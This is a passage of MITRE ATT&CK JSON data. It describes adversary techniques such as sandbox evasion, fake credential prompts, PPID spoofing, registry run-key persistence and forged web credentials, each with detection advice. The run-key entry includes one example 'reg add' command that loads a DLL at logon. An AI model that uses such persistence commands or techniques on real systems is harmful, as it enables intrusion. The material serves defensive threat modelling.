sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nAdversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017) ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "discovery"}], "x_mitre_detection": "User activity-based checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection. ", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Process: OS API Execution", "Process: Process Creation", "Command: Command Execution"], "x_mitre_defense_bypassed": ["Anti-virus", "Static File Analysis", "Signature-based detection", "Host forensic analysis"]}, {"x_mitre_platforms": ["macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Matthew Molyett, @s1air, Cisco Talos"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--91ce1ede-107f-4d8b-bf4c-735e8789c94b", "type": "attack-pattern", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1141", "url": "https://attack.mitre.org/techniques/T1141"}, {"external_id": "CAPEC-569", "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/569.html"}, {"url": "https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html", "description": "Sergei Shevchenko. (2015, June 4). New Mac OS Malware Exploits Mackeeper. Retrieved July 3, 2017.", "source_name": "OSX Malware Exploits MacKeeper"}, {"source_name": "LogRhythm Do You Trust Oct 2014", "url": "https://logrhythm.com/blog/do-you-trust-your-computer/", "description": "Foss, G. (2014, October 3). Do You Trust Your Computer?. Retrieved December 17, 2018."}, {"url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/", "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.", "source_name": "OSX Keydnap malware"}, {"source_name": "Enigma Phishing for Credentials Jan 2015", "url": "https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/", "description": "Nelson, M. (2015, January 21). Phishing for Credentials: If you want it, just ask!. Retrieved December 17, 2018."}], "modified": "2020-02-12T16:34:06.412Z", "name": "Input Prompt", "description": "When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1088)).\n\nAdversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1155)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware) and [PowerShell](https://attack.mitre.org/techniques/T1086)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}], "x_mitre_detection": "Monitor process execution for unusual programs as well as malicious instances of [Scripting](https://attack.mitre.org/techniques/T1064) that could be used to prompt users for credentials.\n\nInspect and scrutinize input prompts for indicators of illegitimacy, such as non-traditional banners, text, timing, and/or sources.", "x_mitre_version": "2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["User"], "x_mitre_is_subtechnique": false}, {"modified": "2022-10-25T15:49:14.785Z", "name": "Cloud Accounts", "description": "Adversaries may create accounts with cloud providers that can be used during targeting. Adversaries can use cloud accounts to further their operations, including leveraging cloud storage services such as Dropbox, MEGA, Microsoft OneDrive, or AWS S3 buckets for [Exfiltration to Cloud Storage](https://attack.mitre.org/techniques/T1567/002) or to [Upload Tool](https://attack.mitre.org/techniques/T1608/002)s. Cloud accounts can also be used in the acquisition of infrastructure, such as [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003)s or [Serverless](https://attack.mitre.org/techniques/T1583/007) infrastructure. Establishing cloud accounts may allow adversaries to develop sophisticated capabilities without managing their own servers.(Citation: Awake Security C2 Cloud)\n\nCreating [Cloud Accounts](https://attack.mitre.org/techniques/T1585/003) may also require adversaries to establish [Email Accounts](https://attack.mitre.org/techniques/T1585/002) to register with the cloud provider. ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "resource-development"}], "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during exfiltration (ex: [Transfer Data to Cloud Account](https://attack.mitre.org/techniques/T1537)).", "x_mitre_platforms": ["PRE"], "x_mitre_is_subtechnique": true, "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.1", "x_mitre_contributors": ["Francesco Bigarella"], "type": "attack-pattern", "id": "attack-pattern--926d8cfd-1d0d-4da2-ab49-3ca10ec3f3b5", "created": "2022-05-27T14:06:05.130Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1585/003", "external_id": "T1585.003"}, {"source_name": "Awake Security C2 Cloud", "description": "Gary Golomb and Tory Kei. (n.d.). Threat Hunting Series: Detecting Command & Control in the Cloud. Retrieved May 27, 2022.", "url": "https://awakesecurity.com/blog/threat-hunting-series-detecting-command-control-in-the-cloud/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.0.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-12T03:40:37.954Z", "name": "Software Deployment Tools", "description": "Adversaries may gain access to and use centralized software suites installed within an enterprise to execute commands and move laterally through the network. Configuration management and software deployment applications may be used in an enterprise network or cloud environment for routine administration purposes. These systems may also be integrated into CI/CD pipelines. Examples of such solutions include: SCCM, HBSS, Altiris, AWS Systems Manager, Microsoft Intune, Azure Arc, and GCP Deployment Manager.  \n\nAccess to network-wide or enterprise-wide endpoint management software may enable an adversary to achieve remote code execution on all connected systems. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.\n\nSaaS-based configuration management services may allow for broad [Cloud Administration Command](https://attack.mitre.org/techniques/T1651) on cloud-hosted instances, as well as the execution of arbitrary commands on on-premises endpoints. For example, Microsoft Configuration Manager allows Global or Intune Administrators to run scripts as SYSTEM on on-premises devices joined to Azure AD.(Citation: SpecterOps Lateral Movement from Azure to On-Prem AD 2020) Such services may also utilize [Web Protocols](https://attack.mitre.org/techniques/T1071/001) to communicate back to adversary owned infrastructure.(Citation: Mitiga Security Advisory: SSM Agent as Remote Access Trojan)\n\nNetwork infrastructure devices may also have configuration management tools that can be similarly abused by adversaries.(Citation: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation)\n\nThe permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to access specific functionality.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "execution"}, {"kill_chain_name": "mitre-attack", "phase_name": "lateral-movement"}], "x_mitre_contributors": ["Shane Tully, @securitygypsy", "Joe Gumke, U.S. Bank", "Tamir Yehuda"], "x_mitre_deprecated": false, "x_mitre_detection": "Detection methods will vary depending on the type of third-party software or system and how it is typically used. \n\nThe same investigation process can be applied here as with other potentially malicious activities where the distribution vector is initially unknown but the resulting activity follows a discernible pattern. Analyze the process execution trees, historical activities from the third-party application (such as what types of files are usually pushed), and the resulting activities or events from the file/binary/script pushed to systems. \n\nOften these third-party applications will have logs of their own that can be collected and correlated with other data from the environment. Ensure that third-party application logs are on-boarded to the enterprise logging system and the logs are regularly reviewed. Audit software deployment logs and look for suspicious or unauthorized activity. A system not typically used to push software to clients that suddenly is used for such a task outside of a known admin function may be suspicious. Monitor account login activity on these applications to detect suspicious/abnormal usage.\n\nPerform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Linux", "macOS", "Windows", "Network", "SaaS"], "x_mitre_version": "3.0", "x_mitre_data_sources": ["Process: Process Creation", "Application Log: Application Log Content"], "x_mitre_remote_support": true, "type": "attack-pattern", "id": "attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414", "created": "2017-05-31T21:30:57.201Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1072", "external_id": "T1072"}, {"source_name": "Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation", "description": "ALEXANDER MARVI, BRAD SLAYBAUGH, DAN EBREO, TUFAIL AHMED, MUHAMMAD UMAIR, TINA JOHNSON. (2023, March 16). Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation. Retrieved May 15, 2023.", "url": "https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem"}, {"source_name": "SpecterOps Lateral Movement from Azure to On-Prem AD 2020", "description": "Andy Robbins. (2020, August 17). Death from Above: Lateral Movement from Azure to On-Prem AD. Retrieved March 13, 2023.", "url": "https://posts.specterops.io/death-from-above-lateral-movement-from-azure-to-on-prem-ad-d18cb3959d4d"}, {"source_name": "Mitiga Security Advisory: SSM Agent as Remote Access Trojan", "description": "Ariel Szarf, Or Aspir. (n.d.). Mitiga Security Advisory: Abusing the SSM Agent as a Remote Access Trojan. Retrieved January 31, 2024.", "url": "https://www.mitiga.io/blog/mitiga-security-advisory-abusing-the-ssm-agent-as-a-remote-access-trojan"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-04-07T17:09:14.040Z", "name": "Exfiltration Over C2 Channel", "description": "Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "exfiltration"}], "x_mitre_contributors": ["William Cain"], "x_mitre_deprecated": false, "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_version": "2.2", "x_mitre_data_sources": ["Command: Command Execution", "File: File Access", "Network Traffic: Network Connection Creation", "Network Traffic: Network Traffic Content", "Network Traffic: Network Traffic Flow"], "x_mitre_network_requirements": false, "type": "attack-pattern", "id": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", "created": "2017-05-31T21:30:41.804Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1041", "external_id": "T1041"}, {"source_name": "University of Birmingham C2", "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Wayne Silva, F-Secure Countercept"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "attack-pattern", "id": "attack-pattern--93591901-3172-4e94-abf8-6034ab26f44a", "created": "2020-02-18T18:22:41.448Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "mitre-attack", "external_id": "T1134.004", "url": "https://attack.mitre.org/techniques/T1134/004"}, {"source_name": "XPNSec PPID Nov 2017", "url": "https://blog.xpnsec.com/becoming-system/", "description": "Chester, A. (2017, November 20). Alternative methods of becoming SYSTEM. Retrieved June 4, 2019."}, {"source_name": "CounterCept PPID Spoofing Dec 2018", "url": "https://www.countercept.com/blog/detecting-parent-pid-spoofing/", "description": "Loh, I. (2018, December 21). Detecting Parent PID Spoofing. Retrieved June 3, 2019."}, {"source_name": "Microsoft UAC Nov 2018", "url": "https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works", "description": "Montemayor, D. et al.. (2018, November 15). How User Account Control works. Retrieved June 3, 2019."}, {"source_name": "Microsoft Process Creation Flags May 2018", "url": "https://docs.microsoft.com/windows/desktop/ProcThread/process-creation-flags", "description": "Schofield, M. & Satran, M. (2018, May 30). Process Creation Flags. Retrieved June 4, 2019."}, {"source_name": "Secuirtyinbits Ataware3 May 2019", "url": "https://www.securityinbits.com/malware-analysis/parent-pid-spoofing-stage-2-ataware-ransomware-part-3", "description": "Secuirtyinbits . (2019, May 14). Parent PID Spoofing (Stage 2) Ataware Ransomware Part 3. Retrieved June 6, 2019."}, {"source_name": "DidierStevens SelectMyParent Nov 2009", "url": "https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/", "description": "Stevens, D. (2009, November 22). Quickpost: SelectMyParent or Playing With the Windows Process Tree. Retrieved June 3, 2019."}, {"source_name": "CTD PPID Spoofing Macro Mar 2019", "url": "https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/", "description": "Tafani-Dereeper, C. (2019, March 12). Building an Office macro to spoof parent processes and command line arguments. Retrieved June 3, 2019."}], "x_mitre_deprecated": false, "revoked": false, "description": "Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the <code>CreateProcess</code> API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via <code>svchost.exe</code> or <code>consent.exe</code>) rather than the current user context.(Citation: Microsoft UAC Nov 2018)\n\nAdversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1059/001)/[Rundll32](https://attack.mitre.org/techniques/T1218/011) to be <code>explorer.exe</code> rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via [Visual Basic](https://attack.mitre.org/techniques/T1059/005) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)\n\nExplicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as <code>lsass.exe</code>), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)", "modified": "2022-05-03T02:15:42.360Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Parent PID Spoofing", "x_mitre_detection": "Look for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.(Citation: CounterCept PPID Spoofing Dec 2018)\n\nMonitor and analyze API calls to <code>CreateProcess</code>/<code>CreateProcessA</code>, specifically those from user/potentially malicious processes and with parameters explicitly assigning PPIDs (ex: the Process Creation Flags of 0x8XXX, indicating that the process is being created with extended startup information(Citation: Microsoft Process Creation Flags May 2018)). Malicious use of <code>CreateProcess</code>/<code>CreateProcessA</code> may also be proceeded by a call to <code>UpdateProcThreadAttribute</code>, which may be necessary to update process creation attributes.(Citation: Secuirtyinbits Ataware3 May 2019) This may generate false positives from normal UAC elevation behavior, so compare to a system baseline/understanding of normal system activity if possible.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_is_subtechnique": true, "x_mitre_data_sources": ["Process: Process Creation", "Process: OS API Execution", "Process: Process Metadata"], "x_mitre_permissions_required": ["User", "Administrator"], "x_mitre_defense_bypassed": ["Heuristic Detection", "Host Forensic Analysis"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["PRE"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--937e4772-8441-4e4a-8bf0-8d447d667e23", "type": "attack-pattern", "created": "2020-10-02T16:27:02.339Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1591", "url": "https://attack.mitre.org/techniques/T1591"}, {"source_name": "ThreatPost Broadvoice Leak", "url": "https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/", "description": "Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020."}, {"source_name": "SEC EDGAR Search", "url": "https://www.sec.gov/edgar/search-and-access", "description": "U.S. SEC. (n.d.). EDGAR - Search and Access. Retrieved August 27, 2021."}], "modified": "2021-08-27T15:37:09.343Z", "name": "Gather Victim Org Information", "description": "Adversaries may gather information about the victim's organization that can be used during targeting. Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "reconnaissance"}], "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Oddvar Moe, @oddvarmoe"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", "type": "attack-pattern", "created": "2017-05-31T21:30:49.988Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1060", "url": "https://attack.mitre.org/techniques/T1060"}, {"external_id": "CAPEC-270", "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/270.html"}, {"url": "http://msdn.microsoft.com/en-us/library/aa376977", "description": "Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November 12, 2014.", "source_name": "Microsoft Run Key"}, {"url": "https://support.microsoft.com/help/310593/description-of-the-runonceex-registry-key", "description": "Microsoft. (2018, August 20). Description of the RunOnceEx Registry Key. Retrieved June 29, 2018.", "source_name": "Microsoft RunOnceEx APR 2018"}, {"url": "https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/", "description": "Moe, O. (2018, March 21). Persistence using RunOnceEx - Hidden from Autoruns.exe. Retrieved June 29, 2018.", "source_name": "Oddvar Moe RunOnceEx Mar 2018"}, {"url": "https://technet.microsoft.com/en-us/sysinternals/bb963902", "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", "source_name": "TechNet Autoruns"}], "modified": "2020-01-23T22:05:32.409Z", "name": "Registry Run Keys / Startup Folder", "description": "Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nPlacing a program within a startup folder will cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in.\n\nThe startup folder path for the current user is:\n* <code>C:\\Users\\[Username]\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup</code>\nThe startup folder path for all users is:\n* <code>C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp</code>\n\nThe following run keys are created by default on Windows systems:\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce</code>\n\nThe <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx</code> is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. (Citation: Microsoft RunOnceEx APR 2018) For example, it is possible to load a DLL at logon using a \"Depend\" key with RunOnceEx: <code>reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d \"C:\\temp\\evil[.]dll\"</code> (Citation: Oddvar Moe RunOnceEx Mar 2018)\n\nThe following Registry keys can be used to set startup folder items for persistence:\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders</code>\n* <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders</code>\n* <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders</code>\n\nThe following Registry keys can control automatic startup of services during boot:\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices</code>\n\nUsing policy settings to specify startup programs creates corresponding values in either of two Registry keys:\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run</code>\n\nThe Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit</code> and <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell</code> subkeys can automatically launch programs.\n\nPrograms listed in the load value of the registry key <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> run when any user logs on.\n\nBy default, the multistring BootExecute value of the registry key <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager</code> is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.\n\nAdversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_detection": "Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. (Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.\n\nChanges to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["User", "Administrator"], "x_mitre_system_requirements": ["HKEY_LOCAL_MACHINE keys require administrator access to create and modify"], "x_mitre_is_subtechnique": false}, {"modified": "2023-10-15T11:10:03.428Z", "name": "Forge Web Credentials", "description": "Adversaries may forge credential materials that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies, tokens, or other materials to authenticate and authorize user access.\n\nAdversaries may generate these credential materials in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), [Steal Application Access Token](https://attack.mitre.org/techniques/T1528), and other similar behaviors in that the credentials are new and forged by the adversary, rather than stolen or intercepted from legitimate users.\n\nThe generation of web credentials often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.(Citation: GitHub AWS-ADFS-Credential-Generator) Adversaries may also forge tokens by taking advantage of features such as the `AssumeRole` and `GetFederationToken` APIs in AWS, which allow users to request temporary security credentials (i.e., [Temporary Elevated Cloud Access](https://attack.mitre.org/techniques/T1548/005)), or the `zmprov gdpak` command in Zimbra, which generates a pre-authentication key that can be used to generate tokens for any user in the domain.(Citation: AWS Temporary Security Credentials)(Citation: Zimbra Preauth)\n\nOnce forged, adversaries may use these web credentials to access resources (ex: [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)(Citation: Microsoft SolarWinds Customer Guidance)  ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}], "x_mitre_contributors": ["Dylan Silva, AWS Security"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor for anomalous authentication activity, such as logons or other user session activity associated with unknown accounts. Monitor for unexpected and abnormal access to resources, including access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["SaaS", "Windows", "macOS", "Linux", "Azure AD", "Office 365", "Google Workspace", "IaaS"], "x_mitre_version": "1.4", "x_mitre_data_sources": ["Web Credential: Web Credential Usage", "Web Credential: Web Credential Creation", "Logon Session: Logon Session Creation"], "type": "attack-pattern", "id": "attack-pattern--94cb00a4-b295-4d06-aa2b-5653b9c1be9c", "created": 